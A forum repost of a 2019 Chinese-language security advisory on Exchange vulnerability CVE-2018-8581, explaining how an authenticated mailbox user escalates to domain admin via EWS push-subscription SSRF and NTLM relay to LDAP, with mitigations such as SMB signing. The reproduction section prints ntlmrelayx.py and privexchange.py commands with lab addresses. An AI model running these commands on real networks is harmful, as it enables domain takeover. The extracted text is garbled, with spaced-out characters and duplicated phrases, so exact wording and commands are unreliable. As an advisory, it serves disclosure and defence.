搜索

[13685] 2019-01-23_ExchangeCVE-2018-8581提权漏洞预警

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2019-01-23_ExchangeCVE-2018-8581提权漏洞预警 E x c h a n g e   C V E - 2 0 1 8 - 8 5 8 1 提 权 漏 洞 预 警 漏 洞 盒 子   F r e e B u f   2 0 1 9 - 0 1 - 2 3 昨 天 ， 国 外 安 全 研 究 员 昨 天 ， 国 外 安 全 研 究 员   d i r k j a n m   通 过 博 客 文 章 公 布 了 通 过 博 客 文 章 公 布 了   E x c h a n g e   服 务 器 上 的 一 个 提 权 漏 洞 的 利 用 详 情 ， 漏 洞 编 服 务 器 上 的 一 个 提 权 漏 洞 的 利 用 详 情 ， 漏 洞 编 号 为 号 为   C V E - 2 0 1 8 - 8 5 8 1 ， 实 际 上 该 漏 洞 早 于 去 年 ， 实 际 上 该 漏 洞 早 于 去 年   1 2   月 份 由 月 份 由   Z E R O   D A Y   I N I T I A T I V E   组 织 发 布 的 一 篇 技 术 博 客 组 织 发 布 的 一 篇 技 术 博 客 中 批 露 。 该 漏 洞 利 用 了 中 批 露 。 该 漏 洞 利 用 了   E x c h a n g e   服 务 器 的 服 务 器 的   S S R F   和 高 权 限 的 请 求 ， 导 致 拥 有 合 法 邮 箱 凭 证 的 用 户 可 以 被 提 升 和 高 权 限 的 请 求 ， 导 致 拥 有 合 法 邮 箱 凭 证 的 用 户 可 以 被 提 升 至 域 管 权 限 。 目 前 ， 微 软 对 该 漏 洞 并 未 发 布 任 何 补 丁 ， 只 提 供 了 缓 解 该 攻 击 的 手 法 ， 但 该 方 法 也 并 不 适 用 于 所 至 域 管 权 限 。 目 前 ， 微 软 对 该 漏 洞 并 未 发 布 任 何 补 丁 ， 只 提 供 了 缓 解 该 攻 击 的 手 法 ， 但 该 方 法 也 并 不 适 用 于 所 有 的 有 的   E x c h a n g e   服 务 器 。 服 务 器 。     E x c h a n g e   服 务 器 是 由 微 软 提 供 的 邮 件 服 务 器 ， 除 了 传 统 的 邮 件 基 本 功 能 外 ， 在 微 软 背 景 下   E x c h a n g e   与 活 动 目 录 域 服 务 和 其 他 微 软 相 关 服 务 和 组 件 也 有 着 众 多 联 系 。 考 虑 到   E x c h a n g e   邮 件 服 务 器 在 企 业 环 境 中 使 用 占 比 非 常 高 ， 该 漏 洞 影 响 范 围 也 比 较 广 ， 请 用 户 及 时 采 取 相 应 的 应 对 措 施 。 漏 洞 影 响 范 围 漏 洞 影 响 范 围 E x c h a n g e   2 0 1 0   ~   E x c h a n g e   2 0 1 6   漏 洞 危 害 漏 洞 危 害 攻 击 者 通 过 已 掌 握 的 邮 箱 用 户 凭 证 ， 可 以 在 一 定 条 件 下 将 普 通 用 户 提 升 至 域 管 理 员 权 限 。   漏 洞 利 用 条 件 漏 洞 利 用 条 件 E x c h a n g e   默 认 配 置 下 ， 攻 击 者 拥 有 合 法 的 邮 箱 用 户 凭 证 ， 同 时 ， 该 漏 洞 利 用 是 通 过   N T L M   重 放 的 方 式 进 行 提 权 ， 因 此 攻 击 者 需 要 已 经 在 内 网 环 境 中 取 得 可 用 主 机 。 漏 洞 简 介 漏 洞 简 介 该 漏 洞 的 发 生 源 于 几 个 方 面 ： 首 先 ， E x c h a n g e   允 许 任 意 用 户 （ 只 要 是 通 过 了 认 证 的 ） 通 过   E W S   接 口 来 创 建 一 个 推 送 订 阅 （ P u s h
S u b s c r i p t i o n ） ， 并 可 以 指 定 任 意   U R L   作 为 通 知 推 送 的 目 的 地 ； 其 次 ， 通 知 被 订 阅 推 送 后 ， 当 触 发 推 送 时 ， E x c h a n g e   使 用 了   C r e d e n t i a l C a c h e   类 的   D e f a u l t C r e d e n t i a l s   属 性 ， 由 于   E W S   以   S Y S T E M   权 限 运 行 ， 当 使 用   D e f a u l t C r e d e n t i a l s   时 发 出 的   H T T P   请 求 将 使 用 该 权 限 发 起 N T L M   认 证 ； 在   E W S   请 求 中 ， 通 过 在   H e a d e r   中 使 用   S e r i a l i z e d S e c u r i t y C o n t e x t ， 指 定   S I D   可 以 实 现 身 份 伪 装 ， 从 而 以 指 定 用 户 身 份 进 行   E W S   调 用 操 作 。 上 述 问 题 导 致 普 通 邮 箱 用 户 可 以 通 过   E W S   高 权 限 实 现 任 意 邮 箱 委 托 、 查 看 等 ， 这 也 是   Z D I   最 先 公 布 于 博 客 中 的 漏 洞 详 情 。 由 于 该 漏 洞 利 用 涉 及   N T L M   的 重 放 攻 击 ， 一 种 很 容 易 想 到 的 思 路 就 是 将 该 凭 证 重 放 到 域 控 机 器 ， 这 也 是 安 全 研 究 员 d i r k j a n m   在 博 客 中 提 到 的 将   N T L M   重 放 到 域 控   L D A P   服 务 的 利 用 方 式 。 由 于 重 放 的   N T L M   凭 证 来 自   E x c h a n g e   服 务 器 的 最 高 权 限 ， 利 用 该 权 限 同 时 具 备 域 内 最 高 权 限 为 普 通 用 户 进 行 提 权 操 作 。 漏 洞 复 现 漏 洞 复 现 1 0 . 0 . 8 3 . 1 1   为 攻 击 者 1 0 . 0 . 8 3 . 9 3   为 域 控 服 务 器 1 0 . 0 . 8 3 . 9 4   为   E x c h a n g e   服 务 器 执 行 如 下 命 令 ： n t l m r e l a y x . p y   接 收 到 请 求 ， 需 要 手 动 触 发 通 知 推 送 ， 或 则 等 待 该 推 送 超 时 ， 可 以 看 到   w a n g w u   提 权 成 功 为 域 管 理 员 。 n t l m r e l a y x . p y   - t   l d a p : / / 1 0 . 0 . 8 3 . 9 3 - - e s c a l a t e - u s e r   w a n g w u p r i v e x c h a n g e . p y   - a h   1 0 . 0 . 8 3 . 1 1   - u   w a n g w u   – p p a s s w o r d   - - d e b u g   - d   f b . c o m   1 0 . 0 . 8 3 . 9 4   – d e b u g
缓 解 措 施 缓 解 措 施 微 软 官 方 当 时 给 出 的 缓 解 措 施 是 ， 删 除 注 册 表 中 的 一 个 键 值   D i s a b l e L o o p b a c k C h e c k ： 从 缓 解 攻 击 的 角 度 出 发 ， 还 可 以 在 域 控 制 器 上 启 用   S M B   的 签 名 校 验 ， 这 是 防 范   N T L M   重 放 攻 击 较 为 有 效 的 手 法 ， 具 体 如 下 ： 该 种 修 复 方 式 ， 实 际 上 是 限 制 了   N T L M   重 放 的 ， 使 得 该 种 攻 击 利 用 得 的 一 定 的 缓 解 。 这 种 修 复 方 式 的 缺 陷 在 于 ， 当   E x c h a n g e   服 务 器 的 角 色 被 拆 分 安 装 ， 即 ， 邮 箱 服 务 器 角 色 和 客 户 端 访 问 服 务 器 角 色 这 两 个 服 务 器 角 色 未 被 安 装 在 同 一 台 服 务 器 上 时 ， 该 种 修 复 方 式 无 效 。 H K E Y L O C A L M A C H I M E S y s t e m C u r r e n t C o n t r o l S e t S e r v i c e s L a n M a n S e r v e r P a r a m e t e 参 考 上 述 注 册 表 位 置 ， 添 加   E n a b l e S e c u r i t y S i g n a t u r e   和   R e q u i r e S e c u r i t y S i g n a t u r e ， 并 设 置 其 值 为   1 ， 重 启 操 作 系 统 。 h t t p s : / / w w w . z e r o d a y i n i t i a t i v e . c o m / b l o g / 2 0 1 8 / 1 2 / 1 9 / a n - i n s i n c e r e - f o r m - o f - f l a t t e r y - i m p e r s o n a t i n g - u s e r s - o n - m i c r o s o f t - e x c h a n g e h t t p s : / / d i r k j a n m . i o / a b u s i n g - e x c h a n g e - o n e - a p i - c a l l - a w a y - f r o m - d o m a i n - a d m i n / ? f r o m = t i m e l i n e & i s a p p i n s t a l l e d = 0 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 9 3 1 3 2 . h t m l h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / z h - c n / h e l p / 1 6 1 3 7 2 / h o w - t o - e n a b l e - s m b - s i g n i n g - i n - w i n d o w s - n t * 本 文 作 者 ： 漏 洞 盒 子 ， 转 载 请 注 明 来 自 本 文 作 者 ： 漏 洞 盒 子 ， 转 载 请 注 明 来 自 F r e e B u f . C O M   r e g   d e l e t e   H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a   / v   D i s a b l e L o o p b a c k C h e c k   / f        
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理